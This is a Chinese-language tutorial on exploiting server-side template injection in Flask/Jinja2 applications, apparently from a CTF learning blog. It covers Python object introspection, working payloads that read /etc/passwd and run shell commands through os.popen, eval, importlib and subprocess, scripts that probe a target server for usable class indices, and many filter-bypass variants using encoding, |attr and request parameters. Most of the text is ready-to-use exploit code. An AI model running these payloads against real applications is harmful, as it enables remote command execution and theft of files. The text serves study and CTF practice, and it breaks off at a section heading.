SSTI模板注入(flask) 学习总结

news2024/12/24 10:56:23

文章目录

  • Flask-jinja2 SSTI 一般利用姿势
    • SSTI 中常用的魔术方法
        • 内建函数
    • 利用 SSTI 读取文件
      • Python 2
      • Python 3
    • 利用 SSTI 执行命令
      • 寻找内建函数 eval 执行命令
      • 寻找 os 模块执行命令
      • 寻找 popen 函数执行命令
      • 寻找 importlib 类执行命令
      • 寻找 linecache 函数执行命令
      • 寻找 subprocess.Popen 类执行命令
  • Flask-jinja2 SSTI Bypass姿势
    • 关键字绕过
      • 利用字符串拼接绕过
      • 利用编码绕过
      • 利用Unicode编码绕过关键字(flask适用)
      • 利用Hex编码绕过关键字
      • 利用引号绕过
      • 利用join()函数绕过
    • 绕过其他字符
      • 过滤了中括号[ ]
      • 过滤了引号
      • 过滤了下划线__
      • 过滤了点 .
      • 过滤了大括号 `{{`
    • 利用 `|attr()` 来Bypass
      • 同时过滤了 . 和 []
      • 同时过滤了 __ 、点. 和 []
      • 用Unicode编码配合 `|attr()` 进行Bypass
      • 用Hex编码配合 `|attr()` 进行Bypass
    • 使用 JinJa 的过滤器进行Bypass
      • 常用字符获取入口点
      • 利用lipsum方法绕过
  • Shrine

Flask-jinja2 SSTI 一般利用姿势

SSTI 中常用的魔术方法

很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。
面向对象语言的方法来自于类,对于python,有很多好用的函数库,我们经常会再写Python中用到import来引入许多的类和方法,python的str(字符串)、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类都是object,而object拥有众多的子类。

__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 __class__ 是类的一个内置属性,表示类的类型,返回 <type 'type'> ; 也是类的实例的属性,表示实例对象的类。

>>> ''.__class__
<type 'str'>
>>> ().__class__
<type 'tuple'>
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>

__bases__:用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)。注意是直接父类!!!

>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__[0].__bases__[0]   // python2下与python3下不同
<type 'object'>



>>> [].__class__.__bases__[0]
<type 'object'>

获取基类还能用 __mro__ 方法,__mro__ 方法可以用来获取一个类的调用顺序,比如:

>>> ''.__class__.__mro__   // python2下和python3下不同
(<class 'str'>, <class 'object'>)
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> {}.__class__.__mro__
(<class 'dict'>, <class 'object'>)
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>)



>>> ().__class__.__mro__[1]            // 返回的是一个类元组,使用索引就能获取基类了
<class 'object'>

除此之外,我们还可以利用 __base__ 方法获取直接基类:

>>> "".__class__.__base__
<type 'basestring'>

有这些类继承的方法,我们就可以从任何一个变量,回溯到最顶层基类(<class'object'>)中去,再获得到此基类所有实现的类,就可以获得到很多的类和方法了。

__subclasses__():查看当前类的子类组成的列表,即返回基类object的子类。

>>> [].__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

查阅起来有些困难,来列举一下:

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
.....
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
......
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
......

**注意:**这里要记住一点2.7和3.6版本返回的子类不是一样的,但是2.7有的3.6大部分都有。

==当然我们也可以直接用object.__subclasses__(),会得到和上面一样的结果。==SSTI 的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件或执行命令的类)加以利用。

__builtins__:以一个集合的形式查看其引用

内建函数

当我们启动一个python解释器时,即使没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。

内建函数并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。

__builtins__ 方法是做为默认初始模块出现的,可用于查看当前所有导入的内建函数。

__globals__:该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。

__import__():该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 __import__() 来动态载入,就是 import。语法:__import__(模块名)

这样我们在进行SSTI注入的时候就可以通过这种方式使用很多的类和方法,通过子类再去获取子类的子类、更多的方法,找出可以利用的类和方法加以利用。总之,是通过python的对象的继承来一步步实现文件读取和命令执行的:

找到父类<type 'object'> ---> 寻找子类 ---> 找关于命令执行或者文件操作的模块。

但是遇上一个SSTI的题,该如何下手?大体上有以下几种思路,简单介绍一下,后续有详细总结。

  • 查配置文件
  • 命令执行(其实就是沙盒逃逸类题目的利用方式)
  • 文件读取

利用 SSTI 读取文件

Python 2

在上文中我们使用 __subclasses__ 方法查看子类的时候,发现可以发现索引号为40指向file类:

for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
.....
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
......
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
......

此file类可以直接用来读取文件:

{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

Python 3

使用file类读取文件的方法仅限于Python 2环境,在Python 3环境中file类已经没有了。我们可以用<class '_frozen_importlib_external.FileLoader'> 这个类去读取文件。

首先编写脚本遍历目标Python环境中 <class '_frozen_importlib_external.FileLoader'> 这个类索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url, headers=headers)
    if 'FileLoader' in res.text:
        print(i)

# 得到编号为79

所以payload如下:

{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

利用 SSTI 执行命令

可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。这里我们简单挑几个常用的讲解。

寻找内建函数 eval 执行命令

首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"

    res = requests.get(url=url, headers=headers)
    if 'eval' in res.text:
        print(i)

# 得到一大堆子类的索引:
64
65
66
67
68
79
80
81
83
91
92
93
94
95
96
117
...

我们可以记下几个含有eval函数的类:

  • warnings.catch_warnings
  • WarningMessage
  • codecs.IncrementalEncoder
  • codecs.IncrementalDecoder
  • codecs.StreamReaderWriter
  • os._wrap_close
  • reprlib.Repr
  • weakref.finalize

所以payload如下:

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

分解一下。
{{''.__class__}}
#获得str类
{{''.__class__.__bases__[0]}}
#获得str的基类basestring
{{''.__class__.__bases__[0].__subclasses__()[166]}}
#获得基类basestring的子类组成的列表中的第166个子类,即返回基类basestring的第166个子类。(含eval函数)
{{''.__class__.__bases__[0].__subclasses__()[166].__init__}}

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
#('__import__("os").popen("ls /").read()')是执行py代码

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

我们可以看到,使用eval函数执行命令也是调用的os模块,那我们直接调用os模块不是更简单?

寻找 os 模块执行命令

Python的 os 模块中有systempopen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。

首先编写脚本遍历目标Python环境中含有os模块的类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

    res = requests.get(url=url, headers=headers)
    if 'os.py' in res.text:
        print(i)

# 可以得到一大堆类
64
65
66
67
68
79
80
81
83
117
147
154
161
162
163
164
...

随便挑一个类构造payload执行命令即可:

{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}

但是该方法遍历得到的类不准确,因为一些不相关的类名中也存在字符串 “os”,所以我们还要探索更有效的方法。

我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。

寻找 popen 函数执行命令

首先编写脚本遍历目标Python环境中含有 popen 函数的类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

    res = requests.get(url=url, headers=headers)
    if 'popen' in res.text:
        print(i)

# 得到编号为117

直接构造payload即可:

{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这样得到的索引还是很准确的。

除了这种方法外,我们还可以直接导入os模块,python有一个importlib类,可用load_module来导入你需要的模块。

寻找 importlib 类执行命令

Python 中存在 <class '_frozen_importlib.BuiltinImporter'> 类,目的就是提供 Python 中 import 语句的实现(以及 __import__ 函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。

首先编写脚本遍历目标Python环境中 importlib 类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url, headers=headers)
    if '_frozen_importlib.BuiltinImporter' in res.text:
        print(i)

# 得到编号为69

构造如下payload即可执行命令:

{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

寻找 linecache 函数执行命令

linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"

    res = requests.get(url=url, headers=headers)
    if 'linecache' in res.text:
        print(i)

# 得到一堆子类的索引:
168
169
203
206
207
208
...

随便挑一个子类构造payload即可:

{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__['linecache']['os'].popen('ls /').read()}}

{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

寻找 subprocess.Popen 类执行命令

从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。

subprocess 意在替代其他几个老的模块或者函数,比如:os.systemos.popen 等函数。

首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号:

import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}

for i in range(500):
    url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"

    res = requests.get(url=url, headers=headers)
    if 'linecache' in res.text:
        print(i)

# 得到索引为245

则构造如下payload执行命令即可:

{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

# {{[].__class__.__base__.__subclasses__()[245]('要执行的命令',shell=True,stdout=-1).communicate()[0].strip()}}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Flask-jinja2 SSTI Bypass姿势

关键字绕过

利用字符串拼接绕过

我们可以利用“+”进行字符串拼接,绕过关键字过滤,例如:

{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}

只要返回的是字典类型的或是字符串格式的,即payload中引号内的,在调用的时候都可以使用字符串拼接绕过。

利用编码绕过

我们可以利用对关键字编码的方法,绕过关键字过滤,例如用base64编码绕过:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}

等同于:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13、16进制编码等。

利用Unicode编码绕过关键字(flask适用)

unicode编码绕过是一种网上没提出的方法。

我们可以利用unicode编码的方法,绕过关键字过滤,例如:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}

等同于:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用Hex编码绕过关键字

和上面那个一样,只不过将Unicode编码换成了Hex编码,适用于过滤了“u”的情况。

我们可以利用hex编码的方法,绕过关键字过滤,例如:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}

等同于:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用引号绕过

我们可以利用引号来绕过对关键字的过滤。例如,过滤了flag,那么我们可以用 fl""agfl''ag 的形式来绕过:

[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()

再如:

().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read()

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil''tins__']['eval']('__import__("os").popen("ls /").read()')}}

可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用引号绕过。

利用join()函数绕过

我们可以利用join()函数来绕过关键字过滤。例如,题目过滤了flag,那么我们可以用如下方法绕过:

[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

绕过其他字符

过滤了中括号[ ]

利用 __getitem__() 绕过

可以使用 __getitem__() 方法输出序列属性中的某个索引处的元素,如:

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
['__builtins__'].__getitem__('eval')

如下示例:

{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}       // 指定序列属性

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典属性

利用 pop() 绕过

pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值,如下示例:

{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}       // 指定序列属性

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}}       // 指定字典属性

注意:最好不要用pop(),因为pop()会删除相应位置的值。

利用字典读取绕过

我们知道访问字典里的值有两种方法,一种是把相应的键放入熟悉的方括号 [] 里来访问,一种就是用点 . 来访问。所以,当方括号 [] 被过滤之后,我们还可以用点 . 的方式来访问,如下示例

// __builtins__.eval()

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}

等同于:

// [__builtins__]['eval']()

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

过滤了引号

利用chr()绕过

先获取chr()函数,赋值给chr,后面再拼接成一个字符串

{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

# {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

等同于

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

利用request对象绕过

示例:

{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /

等同于:

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

如果过滤了args,可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。

过滤了下划线__

利用request对象绕过

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__

等同于:

{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

过滤了点 .

利用 |attr() 绕过(适用于flask)

如果 . 也被过滤,且目标是JinJa2(flask)的话,可以使用原生JinJa2函数attr(),即:

().__class__   =>  ()|attr("__class__")

示例:

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}

等同于:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

利用中括号[ ]绕过

如下示例:

{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

等同于:

{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

这样的话,那么 __class____bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。

过滤了大括号 {{

我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

也可以使用 {% if ... %}1{% endif %} 配合 os.popencurl 将执行结果外带(不外带的话无回显)出来:

{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}

也可以用 {%print(......)%} 的形式来代替 {{ ,如下:

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

利用 |attr() 来Bypass

这里说一个新东西,就是原生JinJa2函数 attr(),这是一个 attr() 过滤器,它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割。如:

foo|attr("bar")   等同于   foo["bar"]

|attr() 配合其他姿势可同时绕过双下划线 __ 、引号、点 .[ 等,下面给出示例。

同时过滤了 . 和 []

过滤了以下字符:

.    [

绕过姿势:

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

等同于:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

同时过滤了 __ 、点. 和 []

过滤了以下字符:

__    .    [    "

下面我们演示绕过姿势,先写出payload的原型:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

由于中括号 [ 被过滤了,我们可以用 __getitem__() 来绕过(尽量不要用pop()),类似如下:

{{().__class__.__base__.__subclasses__().__getitem__(77).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}

由于还过滤了下划线 __,我们可以用request对象绕过,但是还过滤了中括号 [],所以我们要同时绕过 __[,就用到了我们的|attr()

所以最终的payload如下:

{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()

用Unicode编码配合 |attr() 进行Bypass

过滤了以下字符:

'  request  {{  _  %20(空格)  [  ]  .  __globals__   __getitem__

我们用 {%...%}绕过对 {{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。

假设我们要构造的payload原型为:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read()}}

先用 |attr 绕过 .[]

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

我们可以将过滤掉的字符用unicode替换掉:

{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}

用Hex编码配合 |attr() 进行Bypass

和上面那个一样,只不过是将Unicode编码换成了Hex编码,适用于“u”被过滤了的情况。

我们可以将过滤掉的字符用Hex编码替换掉:

{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")()}}

使用 JinJa 的过滤器进行Bypass

在 Flask JinJa 中,内只有很多过滤器可以使用,前文的attr()就是其中的一个过滤器。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器,一个过滤器的输出应用于下一个过滤器。

详情请看官方文档:https://jinja.palletsprojects.com/en/master/templates/#builtin-filters

以下是内置的所有的过滤器列表:

abs()float()lower()round()tojson()
attr()forceescape()map()safe()trim()
batch()format()max()select()truncate()
capitalize()groupby()min()selectattr()unique()
center()indent()pprint()slice()upper()
default()int()random()sort()urlencode()
dictsort()join()reject()string()urlize()
escape()last()rejectattr()striptags()wordcount()
filesizeformat()length()replace()sum()wordwrap()
first()list()reverse()title()xmlattr()

可以自行点击每个过滤器去查看每一种过滤器的作用。我们就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串。

常用字符获取入口点

